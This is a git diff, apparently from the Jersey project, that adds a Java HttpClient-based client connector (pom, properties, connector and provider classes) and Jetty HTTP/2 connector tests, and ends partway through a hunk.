+ fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+ } catch (Exception e) {
+ // OK
+ }
+ }
+
+ private Client getJettyClient() {
+ return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+ }
+
+
+ public static String stringify(ContainerRequest request) {
+ StringBuilder buffer = new StringBuilder();
+
+ printRequestLine(buffer, request);
+ printPrefixedHeaders(buffer, request.getHeaders());
+
+ if (request.hasEntity()) {
+ buffer.append(request.readEntity(String.class)).append("\n");
+ }
+
+ return buffer.toString();
+ }
+
+ private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+ buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+ }
+
+ private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
+ for (Map.Entry<String, List<String>> e : headers.entrySet()) {
+ List<String> val = e.getValue();
+ String header = e.getKey();
+
+ if (val.size() == 1) {
+ buffer.append(header).append(": ").append(val.get(0)).append("\n");
+ } else {
+ StringBuilder sb = new StringBuilder();
+ boolean add = false;
+ for (String s : val) {
+ if (add) {
+ sb.append(',');
+ }
+ add = true;
+ sb.append(s);
+ }
+ buffer.append(header).append(": ").append(sb.toString()).append("\n");
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 0000000..29efcba
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.ClientConfig;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+
+public class UnderlyingHttpClientAccessTest {
+
+ /**
+ * Verifier of JERSEY-2424 fix.
+ */
+ @Test
+ public void testHttpClientInstanceAccess() {
+ final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+ final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client);
+ // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+ // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+ // connector provider's static getHttpClient method above.
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+ assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+ assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+ assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
+ + "set on JerseyWebTarget (provided the target instance has not been further configured).");
+ }
+
+ @Test
+ public void testGetProvidedClientInstance() {
+ final HttpClient httpClient = new HttpClient();
+ final ClientConfig clientConfig = new ClientConfig()
+ .connectorProvider(new JettyHttp2ConnectorProvider())
+ .register(new JettyHttp2ClientSupplier(httpClient));
+ final Client client = ClientBuilder.newClient(clientConfig);
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+ assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
+ httpClient, is(hcOnTarget));
+ }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/pom.xml b/connectors/jnh-connector/pom.xml
new file mode 100644
index 0000000..450e166
--- /dev/null
+++ b/connectors/jnh-connector/pom.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <parent>
+ <artifactId>project</artifactId>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <version>3.1.99-SNAPSHOT</version>
+ </parent>
+ <modelVersion>4.0.0</modelVersion>
+
+ <artifactId>jersey-jnh-connector</artifactId>
+ <packaging>jar</packaging>
+ <name>jersey-connectors-jnh</name>
+
+ <description>Jersey Client Transport via java.net.http.HttpClient introduced in Java 11</description>
+
+ <properties>
+ <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+ </properties>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-bundle</artifactId>
+ <version>${project.version}</version>
+ <type>pom</type>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.assertj</groupId>
+ <artifactId>assertj-core</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.awaitility</groupId>
+ <artifactId>awaitility</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-jaxb</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-json-jackson</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>com.sun.istack</groupId>
+ <artifactId>istack-commons-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.felix</groupId>
+ <artifactId>maven-bundle-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ </plugins>
+ </build>
+
+</project>
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java
new file mode 100644
index 0000000..a9c0248
--- /dev/null
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpClientProperties.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.internal.util.PropertiesClass;
+
+import java.net.http.HttpClient;
+
+/**
+ * Provides configuration properties for a {@link JavaNetHttpConnector}.
+ *
+ * @author Steffen Nießing
+ */
+@PropertiesClass
+public class JavaNetHttpClientProperties {
+ /**
+ * <p>
+ * Configuration of the {@link java.net.CookieHandler} that should be used by the {@link HttpClient}.
+ * If this option is not set, {@link HttpClient#cookieHandler()} will return an empty {@link java.util.Optional}
+ * and therefore no cookie handler will be used.
+ * </p>
+ * <p>
+ * A provided value to this option has to be of type {@link java.net.CookieHandler}.
+ * </p>
+ * <p>
+ * The name of the configuration property is <tt>{@value}</tt>.
+ * </p>
+ */
+ public static final String COOKIE_HANDLER = "jersey.config.jnh.client.cookieHandler";
+
+ /**
+ * <p>
+ * Configuration of SSL parameters used by the {@link HttpClient}.
+ * If this option is not set, then the {@link HttpClient} will use <it>implementation specific</it> default values.
+ * </p>
+ * <p>
+ * A provided value to this option has to be of type {@link javax.net.ssl.SSLParameters}.
+ * </p>
+ * <p>
+ * The name of the configuration property is <tt>{@value}</tt>.
+ * </p>
+ */
+ public static final String SSL_PARAMETERS = "jersey.config.jnh.client.sslParameters";
+
+ /**
+ * <p>
+ * An instance of the {@link java.net.Authenticator} class that should be used to retrieve
+ * credentials from a user.
+ * </p>
+ * <p>
+ * The name of the configuration property is <tt>{@value}</tt>.
+ * </p>
+ */
+ public static final String PREEMPTIVE_BASIC_AUTHENTICATION =
+ "jersey.config.jnh.client.preemptiveBasicAuthentication";
+
+ /**
+ * <p>
+ * A value of {@code false} indicates the client should handle cookies
+ * automatically using HttpClient's default cookie policy. A value
+ * of {@code false} will cause the client to ignore all cookies.
+ * </p>
+ * <p>
+ * The value MUST be an instance of {@link java.lang.Boolean}.
+ * If the property is absent the default value is {@code false}
+ * </p>
+ * <p>
+ * The name of the configuration property is <tt>{@value}</tt>.
+ * </p>
+ */
+ public static final String DISABLE_COOKIES =
+ "jersey.config.jnh.client.disableCookies";
+
+ /**
+ * HTTP version - if null or instance of HttpClient.Version.HTTP_1_1 the version will be set to HTTP_1_1
+ * if version is HttpClient.Version.HTTP_2 the client will attempt to perform each request using HTTP_2 protocol
+ * but if not supported by server, the protocol will be still HTTP_1_1
+ *
+ * @since 3.1.4
+ */
+ public static final String HTTP_VERSION =
+ "jersey.config.jnh.client.httpVersion";
+
+
+ /**
+ * Prevent this class from instantiation.
+ */
+ private JavaNetHttpClientProperties() {}
+}
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java
new file mode 100644
index 0000000..57296c6
--- /dev/null
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnector.java
@@ -0,0 +1,438 @@
+/*
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.MultivaluedMap;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.client.innate.ClientProxy;
+import org.glassfish.jersey.client.innate.Expect100ContinueUsage;
+import org.glassfish.jersey.client.innate.http.SSLParamConfigurator;
+import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.Version;
+import org.glassfish.jersey.message.internal.OutboundMessageContext;
+import org.glassfish.jersey.message.internal.Statuses;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.Authenticator;
+import java.net.CookieHandler;
+import java.net.CookieManager;
+import java.net.CookiePolicy;
+import java.net.InetSocketAddress;
+import java.net.PasswordAuthentication;
+import java.net.ProxySelector;
+import java.net.URI;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.time.Duration;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Future;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.logging.Logger;
+
+/**
+ * Provides a Jersey client {@link Connector}, which internally uses Java's {@link HttpClient}.
+ * The following properties are provided to Java's {@link HttpClient.Builder} during creation of the {@link HttpClient}:
+ * <ul>
+ * <li>{@link ClientProperties#CONNECT_TIMEOUT}</li>
+ * <li>{@link ClientProperties#FOLLOW_REDIRECTS}</li>
+ * <li>{@link JavaNetHttpClientProperties#COOKIE_HANDLER}</li>
+ * <li>{@link JavaNetHttpClientProperties#SSL_PARAMETERS}</li>
+ * </ul>
+ *
+ * @author Steffen Nießing
+ */
+public class JavaNetHttpConnector implements Connector {
+ private static final Logger LOGGER = Logger.getLogger(JavaNetHttpConnector.class.getName());
+
+ private final HttpClient httpClient;
+
+ /**
+ * Constructs a new {@link Connector} for a Jersey client instance using Java's {@link HttpClient}.
+ *
+ * @param client a Jersey client instance to get additional configuration properties from (e.g. {@link SSLContext})
+ * @param configuration the configuration properties for this connector
+ */
+ public JavaNetHttpConnector(final Client client, final Configuration configuration) {
+ final HttpClient.Builder httpClientBuilder = HttpClient.newBuilder();
+ final HttpClient.Version version =
+ getPropertyOrNull(configuration, JavaNetHttpClientProperties.HTTP_VERSION, HttpClient.Version.class);
+ httpClientBuilder.version(version == null ? HttpClient.Version.HTTP_1_1 : version);
+ SSLContext sslContext = client.getSslContext();
+ if (sslContext != null) {
+ httpClientBuilder.sslContext(sslContext);
+ }
+ final CookieHandler cookieHandler =
+ getPropertyOrNull(configuration, JavaNetHttpClientProperties.COOKIE_HANDLER, CookieHandler.class);
+ if (cookieHandler != null) {
+ httpClientBuilder.cookieHandler(cookieHandler);
+ }
+ final Boolean disableCookies =
+ getPropertyOrNull(configuration, JavaNetHttpClientProperties.DISABLE_COOKIES, Boolean.class);
+ if (Boolean.TRUE.equals(disableCookies)) {
+ httpClientBuilder.cookieHandler(new CookieManager(null, CookiePolicy.ACCEPT_NONE));
+ }
+ Boolean redirect = getPropertyOrNull(configuration, ClientProperties.FOLLOW_REDIRECTS, Boolean.class);
+ if (redirect != null) {
+ httpClientBuilder.followRedirects(redirect ? HttpClient.Redirect.ALWAYS : HttpClient.Redirect.NEVER);
+ } else {
+ httpClientBuilder.followRedirects(HttpClient.Redirect.NORMAL);
+ }
+
+ SSLParameters sslParameters =
+ getPropertyOrNull(configuration, JavaNetHttpClientProperties.SSL_PARAMETERS, SSLParameters.class);
+ sslParameters = new SniSslParameters(sslParameters).getSslParameters(client);
+ if (sslParameters != null) {
+ httpClientBuilder.sslParameters(sslParameters);
+ }
+
+ final Authenticator preemptiveAuthenticator =
+ getPropertyOrNull(configuration,
+ JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, Authenticator.class);
+ if (preemptiveAuthenticator != null) {
+ httpClientBuilder.authenticator(preemptiveAuthenticator);
+ }
+ configureProxy(httpClientBuilder, configuration);
+ this.httpClient = httpClientBuilder.build();
+ }
+
+ private static void configureProxy(HttpClient.Builder builder, final Configuration config) {
+
+ final Optional<ClientProxy> proxy = ClientProxy.proxyFromConfiguration(config);
+ proxy.ifPresent(clientProxy -> {
+ final URI u = clientProxy.uri();
+ final InetSocketAddress proxyAddress = new InetSocketAddress(u.getHost(),
+ u.getPort());
+ if (clientProxy.userName() != null) {
+ final Authenticator authenticator = new Authenticator() {
+ @Override
+ public PasswordAuthentication getPasswordAuthentication() {
+ return new PasswordAuthentication(clientProxy.userName(), clientProxy.password() == null
+ ? null : clientProxy.password().toCharArray());
+ }
+ @Override
+ protected RequestorType getRequestorType() {
+ return RequestorType.PROXY;
+ }
+ };
+ builder.authenticator(authenticator);
+ }
+ builder.proxy(ProxySelector.of(proxyAddress));
+ });
+ }
+
+ /**
+ * Implements a {@link org.glassfish.jersey.message.internal.OutboundMessageContext.StreamProvider}
+ * for a {@link ByteArrayOutputStream}.
+ */
+ private static class ByteArrayOutputStreamProvider implements OutboundMessageContext.StreamProvider {
+ private ByteArrayOutputStream byteArrayOutputStream;
+
+ public ByteArrayOutputStream getByteArrayOutputStream() {
+ return byteArrayOutputStream;
+ }
+
+ @Override
+ public OutputStream getOutputStream(int contentLength) throws IOException {
+ this.byteArrayOutputStream = contentLength > 0 ? new ByteArrayOutputStream(contentLength)
+ : new ByteArrayOutputStream();
+ return this.byteArrayOutputStream;
+ }
+ }
+
+ /**
+ * Builds a request for the {@link HttpClient} from Jersey's {@link ClientRequest}.
+ *
+ * @param request the Jersey request to get request data from
+ * @return the {@link HttpRequest} instance for the {@link HttpClient} request
+ */
+ private HttpRequest getHttpRequest(ClientRequest request) {
+ final SSLParamConfigurator sniConfig = SSLParamConfigurator.builder()
+ .uri(request.getUri())
+ .configuration(request.getConfiguration())
+ .build();
+
+ final URI sniUri = sniConfig.isSNIRequired() ? sniConfig.toIPRequestUri() : request.getUri();
+
+ HttpRequest.Builder builder = HttpRequest.newBuilder();
+ builder.uri(sniUri);
+ HttpRequest.BodyPublisher bodyPublisher = HttpRequest.BodyPublishers.noBody();
+ if (request.hasEntity()) {
+ try {
+ ByteArrayOutputStreamProvider byteBufferStreamProvider = new ByteArrayOutputStreamProvider();
+ request.setStreamProvider(byteBufferStreamProvider);
+ request.writeEntity();
+ bodyPublisher = HttpRequest.BodyPublishers.ofByteArray(
+ byteBufferStreamProvider.getByteArrayOutputStream().toByteArray()
+ );
+ } catch (IOException e) {
+ throw new ProcessingException(LocalizationMessages.ERROR_INVALID_ENTITY(), e);
+ }
+ }
+ builder.method(request.getMethod(), bodyPublisher);
+ for (Map.Entry<String, List<String>> entry : request.getRequestHeaders().entrySet()) {
+ String headerName = entry.getKey();
+ for (String headerValue : entry.getValue()) {
+ builder.header(headerName, headerValue);
+ }
+ }
+ final Integer connectTimeout = request.resolveProperty(ClientProperties.READ_TIMEOUT, Integer.class);
+ if (connectTimeout != null) {
+ builder.timeout(Duration.ofMillis(connectTimeout));
+ }
+ processExtensions(builder, request);
+ return builder.build();
+ }
+
+ private static void processExtensions(HttpRequest.Builder builder, ClientRequest request) {
+ builder.expectContinue(Expect100ContinueUsage.isAllowed(request, request.getMethod()));
+ }
+
+ /**
+ * Retrieves a property from the configuration, if it was provided.
+ *
+ * @param configuration the {@link Configuration} to get the property information from
+ * @param propertyKey the name of the property to retrieve
+ * @param resultClass the type to which the property value should be case
+ * @param <T> the generic type parameter of the result type
+ * @return the requested property or {@code null}, if it was not provided or has the wrong type
+ */
+ @SuppressWarnings("unchecked")
+ private <T> T getPropertyOrNull(final Configuration configuration, final String propertyKey, final Class<T> resultClass) {
+ Object propertyObject = configuration.getProperty(propertyKey);
+ if (propertyObject == null) {
+ return null;
+ }
+ if (resultClass.isEnum() && propertyObject instanceof String) {
+ return (T) Enum.valueOf(resultClass.asSubclass(Enum.class), (String) propertyObject);
+ }
+ if (!resultClass.isInstance(propertyObject)) {
+ LOGGER.warning(LocalizationMessages.ERROR_INVALID_CLASS(propertyKey, resultClass.getName()));
+ return null;
+ }
+ return (T) propertyObject;
+ }
+
+ /**
+ * Translates a {@link HttpResponse} from the {@link HttpClient} to a Jersey {@link ClientResponse}.
+ *
+ * @param request the {@link ClientRequest} to get additional information (e.g. header values) from
+ * @param response the {@link HttpClient} response object
+ * @return the translated Jersey {@link ClientResponse} object
+ */
+ private ClientResponse buildClientResponse(ClientRequest request, HttpResponse<InputStream> response) {
+ ClientResponse clientResponse = new ClientResponse(Statuses.from(response.statusCode()), request);
+ MultivaluedMap<String, String> headers = clientResponse.getHeaders();
+ for (Map.Entry<String, List<String>> entry : response.headers().map().entrySet()) {
+ String headerName = entry.getKey();
+ if (headers.get(headerName) != null) {
+ headers.get(headerName).addAll(entry.getValue());
+ } else {
+ headers.put(headerName, entry.getValue());
+ }
+ }
+ final InputStream body = response.body();
+ try {
+ clientResponse.setEntityStream(body.available() != 1 ? body : new FirstByteCachingStream(body));
+ } catch (IOException ioe) {
+ throw new ProcessingException(ioe);
+ }
+ return clientResponse;
+ }
+
+ /**
+ * Returns the underlying {@link HttpClient} instance used by this connector.
+ *
+ * @return the Java {@link HttpClient} instance
+ */
+ public HttpClient getHttpClient() {
+ return httpClient;
+ }
+
+ @Override
+ public ClientResponse apply(ClientRequest request) {
+ HttpRequest httpRequest = getHttpRequest(request);
+ try {
+ HttpResponse<InputStream> response = this.httpClient.send(httpRequest, HttpResponse.BodyHandlers.ofInputStream());
+ return buildClientResponse(request, response);
+ } catch (IOException | InterruptedException e) {
+ throw new ProcessingException(e);
+ }
+ }
+
+ @Override
+ public Future<?> apply(ClientRequest request, AsyncConnectorCallback callback) {
+ HttpRequest httpRequest = getHttpRequest(request);
+ CompletableFuture<ClientResponse> response = this.httpClient
+ .sendAsync(httpRequest, HttpResponse.BodyHandlers.ofInputStream())
+ .thenApply(httpResponse -> buildClientResponse(request, httpResponse));
+ response.thenAccept(callback::response);
+ return response;
+ }
+
+ @Override
+ public String getName() {
+ return "Java HttpClient Connector " + Version.getVersion();
+ }
+
+ @Override
+ public void close() {
+
+ }
+
+ public CookieHandler getCookieHandler() {
+ final Optional<CookieHandler> cookieHandler = httpClient.cookieHandler();
+ if (cookieHandler.isPresent()) {
+ return cookieHandler.get();
+ }
+ return null;
+ }
+
+ private static class SniSslParameters {
+ private final SSLParameters sslParameters;
+
+ private SniSslParameters(SSLParameters sslParameters) {
+ this.sslParameters = sslParameters;
+ }
+
+ private SSLParameters getSslParameters(Client client) {
+ SSLParamConfigurator sniConfig = SSLParamConfigurator.builder()
+ .configuration(client.getConfiguration())
+ .build();
+
+ if (sniConfig.isSNIRequired()) {
+ SSLParameters sslParameters = this.sslParameters;
+ if (sslParameters == null) {
+ sslParameters = new SSLParameters();
+ }
+ sniConfig.setSNIServerName(sslParameters);
+ return sslParameters;
+ } else {
+ return sslParameters;
+ }
+ }
+ }
+
+ /*
+ * The JDK stream returns available() == 1 even when read() == -1
+ * This class is to prevent it.
+ * Otherwise, the MBR is not found for 204
+ * See https://github.com/eclipse-ee4j/jersey/issues/5307
+ */
+ private static class FirstByteCachingStream extends InputStream {
+ private final InputStream inner; //jdk.internal.net.http.ResponseSubscribers.HttpResponseInputStream
+ private volatile int zero = -1; // int on zero index
+ private final Lock lock = new ReentrantLock();
+
+ private FirstByteCachingStream(InputStream inner) {
+ this.inner = inner;
+ }
+
+ @Override
+ public int read() throws IOException {
+ lock.lock();
+ try {
+ final int r = zero != -1 ? zero : inner.read();
+ zero = -1;
+ return r;
+ } finally {
+ lock.unlock();
+ }
+ }
+
+ @Override
+ public int read(byte[] b, int off, int len) throws IOException {
+ lock.lock();
+ int r;
+ try {
+ if (zero != -1) {
+ b[off] = (byte) (zero & 0xFF);
+ r = inner.read(b, off + 1, len - 1);
+ } else {
+ r = inner.read(b, off, len);
+ }
+ zero = -1;
+ } finally {
+ lock.unlock();
+ }
+ return r;
+
+ }
+
+ @Override
+ public int available() throws IOException {
+ lock.lock();
+ try {
+ if (zero != -1) {
+ return 1;
+ }
+
+ int available = inner.available();
+ if (available != 1) {
+ return available;
+ }
+
+ zero = inner.read();
+ if (zero == -1) {
+ available = 0;
+ }
+ return available;
+ } finally {
+ lock.unlock();
+ }
+ }
+
+ @Override
+ public void close() throws IOException {
+ inner.close();
+ lock.lock();
+ zero = -1;
+ lock.unlock();
+ }
+
+ @Override
+ public boolean markSupported() {
+ return inner.markSupported();
+ }
+
+ @Override
+ public void mark(int readlimit) {
+ inner.mark(readlimit);
+ }
+
+ @Override
+ public void reset() throws IOException {
+ inner.reset();
+ }
+ }
+
+}
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java
new file mode 100644
index 0000000..32bde1b
--- /dev/null
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+
+import java.net.http.HttpClient;
+
+/**
+ * A provider class for a Jersey client {@link Connector} using Java's {@link HttpClient}.
+ * <p>
+ * The following configuration properties are available:
+ * <ul>
+ * <li>{@link ClientProperties#CONNECT_TIMEOUT}</li>
+ * <li>{@link ClientProperties#FOLLOW_REDIRECTS} (defaults to {@link java.net.http.HttpClient.Redirect#NORMAL} when unset)</li>
+ * <li>{@link JavaNetHttpClientProperties#COOKIE_HANDLER}</li>
+ * <li>{@link JavaNetHttpClientProperties#SSL_PARAMETERS}</li>
+ * </ul>
+ * </p>
+ *
+ * @author Steffen Nießing
+ */
+public class JavaNetHttpConnectorProvider implements ConnectorProvider {
+ @Override
+ public Connector getConnector(Client client, Configuration runtimeConfig) {
+ return new JavaNetHttpConnector(client, runtimeConfig);
+ }
+
+ /**
+ * Retrieve the Java {@link HttpClient} used by the provided {@link JavaNetHttpConnector}.
+ *
+ * @param component the component from which the {@link JavaNetHttpConnector} should be retrieved
+ * @return a Java {@link HttpClient} instance
+ * @throws java.lang.IllegalArgumentException if a {@link JavaNetHttpConnector} cannot be provided from the given {@code component}
+ */
+ public static HttpClient getHttpClient(Configurable<?> component) {
+ try {
+ final Initializable<?> initializable = (Initializable<?>) component;
+
+ Connector connector = initializable.getConfiguration().getConnector() != null
+ ? initializable.getConfiguration().getConnector()
+ : initializable.preInitialize().getConfiguration().getConnector();
+
+ if (connector instanceof JavaNetHttpConnector) {
+ return ((JavaNetHttpConnector) connector).getHttpClient();
+ } else {
+ throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ }
+ } catch (ClassCastException classCastException) {
+ throw new IllegalArgumentException(
+ LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()),
+ classCastException
+ );
+ }
+ }
+}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java
similarity index 70%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java
index dd25372..6a5e83a 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,8 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
-
